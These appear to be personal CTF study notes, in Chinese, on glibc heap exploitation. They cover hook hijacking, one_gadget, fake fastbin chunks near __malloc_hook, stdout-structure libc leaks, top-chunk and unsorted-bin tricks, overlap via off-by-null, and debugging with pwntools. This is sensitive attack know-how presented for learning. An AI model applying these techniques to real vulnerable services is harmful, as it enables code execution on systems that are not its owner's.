  1. 如果程序有setbuf(stdin/stdout/stderr,0)操作的话就只会申请一个chunk了,且是大小结尾为0x90那个(应该是stdout的缓冲区),对单独程序可以先行调试看看——-与setbuf有关
  2. 又发现有没有这两个chunk还跟动态库libc和动态链接器ld的版本有关系,原装环境存在iochunk,但在切换动态版本后却没有这两个chunk,切换动态库和链接器后再次调试确定———与动态版本有关
  3. 还与程序唤起方式有关,gdb唤起pwntools唤起亦有差异,二者可能一个有一个没有——-与唤起方式有关

在固定环境下,由于页对齐的原因,申请的chunk的地址低位一般都是固定的,可以用gdb观测,依此通过partial overwrite等我们能够达到许多目的

0x2hook执行参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
  void (*hook) (void *, const void *)
= atomic_forced_read (__free_hook);
if (__builtin_expect (hook != NULL, 0))
{
(*hook)(mem, RETURN_ADDRESS (0));
return;
}
//_libc_free
void *(*hook) (size_t, const void *)
= atomic_forced_read (__malloc_hook);
if (__builtin_expect (hook != NULL, 0))
return (*hook)(bytes, RETURN_ADDRESS (0));
//_libc_malloc
void *(*hook) (void *, size_t, const void *) =
atomic_forced_read (__realloc_hook);
if (__builtin_expect (hook != NULL, 0))
return (*hook)(oldmem, bytes, RETURN_ADDRESS (0));
//_libc_realloc

可以看到,hook不为空时,执行hook指向函数时的参数是由其包装函数决定的

  1. free执行时,是以所要释放chunk的mem指针作为参数
  2. malloc和realloc都是以申请chunk大小(用户申请,非实际大小)为参数

对于2来说,hook基本只能是onegadget了

但对于1来说,若在chunk中填入一些字符(如/bin/sh),则除了onegadget外,也可以直接调用system等函数,这题就是这样

0x3mmap所分配chunk

当申请chunk大小大于或接近top_chunk时,会创建mmap段并在mmap段中分配

分配的chunk的实际地址就是该mmap段的开始地址

且mmap段与libc.so段之间的偏移是固定的

在不能泄露libc的情况下可以用其相对偏移得到libc地址

0x4双hook配合

大多数时候,malloc_hook和realloc_hook(二者地址相邻)的fastbinchunk伪造都能寻找到合适的fakechunk,但free_hook则更难找到

当one_gadget直接使用都不能满足条件时,则要先跳转到realloc进行栈帧调整(调整多少,可以通过跳转偏移来控制),之后调用realloc_hook执行onegadget

0x5.fini_array

程序正常退出时会由_dl_fini(_dl_fini+823左右)调用.fini_array地址处的函数,不过只能利用一次。只能利用一次是因为栈上的环境等肯定变化了,返回地址等自然也变化了

在没开pie的情况下利用还是很简单的

0x6调试细节

一直以来都被这个调试搞得很烦,gdb常常不在exp中我所需要的地方开始,偶尔还不能加载符号表…

苦于找不到相关的资料,只能摸索,总算找到解决方案了

环境问题

程序由gdb运行和pwntools运行这两种方式,唤起的程序的环境有些许不同

符号表

先说有时候无法加载符号表,导致无法正常调试

多次实验后发现起因是—exp一路打通了shell所导致

解决方案:在p.interactive()函数前使用命令sleep(1)或pause()使得程序停下来

这样便能加载符号表了

合适的调试起始位置

经常attach上去发现不是自己想要的位置,导致调试困难

解决方案:在gdb.attach()下方使用命令sleep(1)或pause()使得程序停下来,然后再配合backtrace找到合适的断点,进入正确的流程便可,(有时会被read卡住,需要再发送点东西)

需要注意如果没找到合适的断点的话,可能会出现一些奇怪的错误

注意:gdb后组合pause可能会致使发生一些原本不存在的牛马问题

另一种调试方式

由于pwntools中gdb常用是attach附加到一个进程上,所以完全可以,在python终端中早早打开gdb,然后在命令行中输入交互指令并发送,然后在gdb中逐步向下运行到需要调试的地方,(有时会被read卡住,需要再发送点东西)

0x7main_arena偏移的获取

因为不能直接搜索符号main_arena,所以只能间接获得

main_arena_offset = libc.symbols['__malloc_hook'] + 0x10

即main_arena在__malloc_hook向后0x10处

0x8calloc分配的chunk

malloc分配的内存块的内容是不确定的,它可能包含之前被使用的数据残留。而calloc函数分配的内存块在分配时会被初始化为零,也就是说,每个字节都被设置为\0。

若存在tcache,calloc分配chunk不通过TCACHE,但依然会触发剩余chunk进入tcache

0x9 __maloc_hook附近的fake_chunk

一般情况下找到的能够控制到__maloc_hook的fake_chunk的大小都是0x7f,在main_arena前附近

0xa PIE的一种应对方式

当开启pie后,利用方式与不开启有明显差异,一种比较常见的应对方式是尾地址部分改写

利用后12位不变性以及页对齐带来的堆地址结尾可观测性

通过只改写部分数据来达到错位访问所需内存的目的

在堆中因为要出现堆地址,所以一般要先释放两个大小相同chunk,以达到通过fd获取某个chunk的地址,之后再部分写

0xb unsortedbin-chunk处理

unsortedbin 是FIFO,头插尾取,寻找chunk主要利用bk指针

进入unsortedbin的chunk如果相邻会立即合并

并修改其后一个非freechunk的prev_size字段

unsortedbin中切割chunk时,分配出的chunk是前半部分,依然存在unsorted中的remainer则是后半部分,其实其他chunk切割也是这样

0xc prev_size字段何时变化

prev_size字段只在上一个chunk为free状态时起作用

prev_size字段主要被修改在两种情况:

  1. 合并chunk
  2. 分割chunk

第一种情况:

合并chunk时修改其下一个chunk的prev_size字段

第二种情况:

修改剩余部分的下一个chunk的prev_size,其实依然是分割前的下一个chunk的prev_size,其不会修改剩余部分chunk的prev_size字段,因为前半部分处于使用状态显然不会去修改他

0xd io_overflow相关

puts等函数,会最终调用到 _IO_new_file_overflow

而该函数会最终使用 _IO_do_write 进行真正的输出。

在输出时,如果具有缓冲区,会输出 _IO_write_base 开始的缓冲区内容,直到 _IO_write_ptr (也就是将 _IO_write_base 一直到 _IO_write_ptr 部分的值当做缓冲区

在无缓冲区时,两个指针指向同一位置,位于该结构体附近,也就是 libc 中)

但是在 setbuf 后,理论上会不使用缓冲区。然而如果能够修改 _IO_2_1_stdout_ 结构体的 flags 部分,使得其认为 stdout 具有缓冲区,再将 _IO_write_base 处的值进行 partial overwrite ,就可以泄露出 libc 地址了。

_IO_2_1_stdout与main_arena相距较近,部分写获得该区域作为chunk

flag满足条件后(flag==0xfbad1800)

_IO_write_base_IO_write_ptr不相等时调用puts等时立即输出从_IO_write_base开始的内容

0xe chunk合并检测

释放chunk检测合并时,先检测上一个是否空闲,再检测下一个是否是topchunk,如果不是则检测下一个chunk

而合并会用到unlink宏,unlink中其中一个检测是检测该chunk的size是否与其下一个chunk的prev_size相等,注意其只是检测相等,并且下一个chunk是通过该chunk+size偏移得到的,一般都是相等的(自己构造的另说)

这也就是说如果任意修改一个chunk的prev_size字段并触发合并,只要这个chunk-prev_size刚好是一个chunk的起始地址,那么unlink检测就会通过,它不会比较我们修改的prev_size是否等于找到的chunk的size,而是用找到的chunk和利用该chunk的size找到的chunk的prev_size作比较

0xf 无free时topchunk的利用

当程序没有free功能时,若能够修改topchunk的size,可以减小topchunk的大小,再申请一个比修改后大小更大的chunk使之加入unsortedbin,这样可以利用unsortedbin去泄露libc

在申请的堆块大小大于 top chunk的大小时会调用 sysmalloc 来分配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/*
If have mmap, and the request size meets the mmap threshold, and
the system supports mmap, and there are few enough currently
allocated mmapped regions, try to directly map this request
rather than expanding top.
*/

if (av == NULL
|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
&& (mp_.n_mmaps < mp_.n_mmaps_max)))
{
char *mm; /* return value from mmap call*/

try_mmap:

如果申请大小 > (unsigned long) (mp_.mmap_threshold) 就会直接 mmap 出一块内存。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
  /*
If not the first time through, we require old_size to be
at least MINSIZE and to have prev_inuse set.
*/

assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
............
if (old_size >= MINSIZE)
{
set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
_int_free (av, old_top, 1);
}

另一种是会先把原来的 top chunk free 进 unsorted bin。但是要满足几个条件:

1、(unsigned long) (old_size) >= MINSIZE

2、 prev_inuse (old_top) = 1

3、 ((unsigned long) old_end & (pagesize - 1)) == 0)

所以我们通过溢出把 top chunk 的 size 改小即可,并且注意内存页对齐。

0x10常规泄露

当程序有输出chunk内容的功能时,通过将chunk挂载入unsortedbin再取出,即可在mem区域写上libc地址(主要是利用bk字段),之后泄露

挂载两个不合并的chunk进入unosortedbin再取出,即可同时泄露libc地址和堆地址

0x11tcache相关

tcache:0x20-0x410

在2.32以前,直接将hook等地址挂入tcache取出,需要注意count[tc_idx]的值足够

tcache几乎不合并因此overlap之类要避开tcache

0x12overlap

overlap分为两种

向前overlap:

其一:

主要是修改prev_inuse位使得free时与前面的chunk合并,

要记得绕过unlink等检查

其二:

假设有A,B两个chunk相邻排列,

并没有主动修改B的prev_inuse,而是释放掉A,使B的prev_inuse正常变为0,

之后在off-by-null之类修改掉A的size,使得A再取出来分配时set_inuse无法找到正确的位置使得B的prev_inuse依然保持为0

之后再释放B,触发overlap

也要绕过unlink等检查

向后overlap:

直接修改chunk的size字段,向后覆盖其他chunk

也要绕过一些检查,像!prev_inuse(nextchunk)

0x13在tcahe_perthread_struct上伪造chunk

在2.26版本之后堆上会有一个tcahe_perthread_struct

用于存放tcache的信息:数量和链头

因为内存存储的特性

可以利用其伪造chunk

  • 用count的组合来伪造chunk,主要是0x3a0和0x3b0这两个大小的
  • 用0x21和0x31这两个chunk伪造fd和bk

0x14 unsortedbin头

常见版本中

以2.27为分界线,之前unsortedbin的头是main_arena+88,2.27及之后是main_arena+96

原因是2.27及之后malloc_state多了一个int have_fastchunks;变量

0x15

free的时候很重要的一点就是理解

free能否成功,几乎完全取决于size字段